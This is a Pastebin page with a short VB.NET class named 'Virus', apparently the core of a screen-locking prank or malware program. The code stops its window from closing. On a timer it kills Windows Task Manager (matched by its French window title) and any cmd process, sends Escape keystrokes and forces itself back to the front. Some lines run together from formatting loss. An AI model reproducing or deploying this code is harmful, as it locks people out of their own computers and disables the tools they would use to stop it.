Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Public Class Virus
- Private Sub CloseForm(ByVal sender As System.Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosinge.Cancel = TrueEnd Sub
- Private Sub Tick(sender As System.Object, e As System.EventArgs) Handles Action.TickFor Each Process As Process In Process.GetProcesses
- If (Process.MainWindowTitle = "Gestionnaire des tâches de Windows") Then
- Process.Kill()
- End If
- If (Process.ProcessName = "cmd") Then
- Process.Kill()
- End If
- Next
- SendKeys.SendWait("{esc}")
- 'Cursor.Position = New Point(0, 0)
- Me.Activate()
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement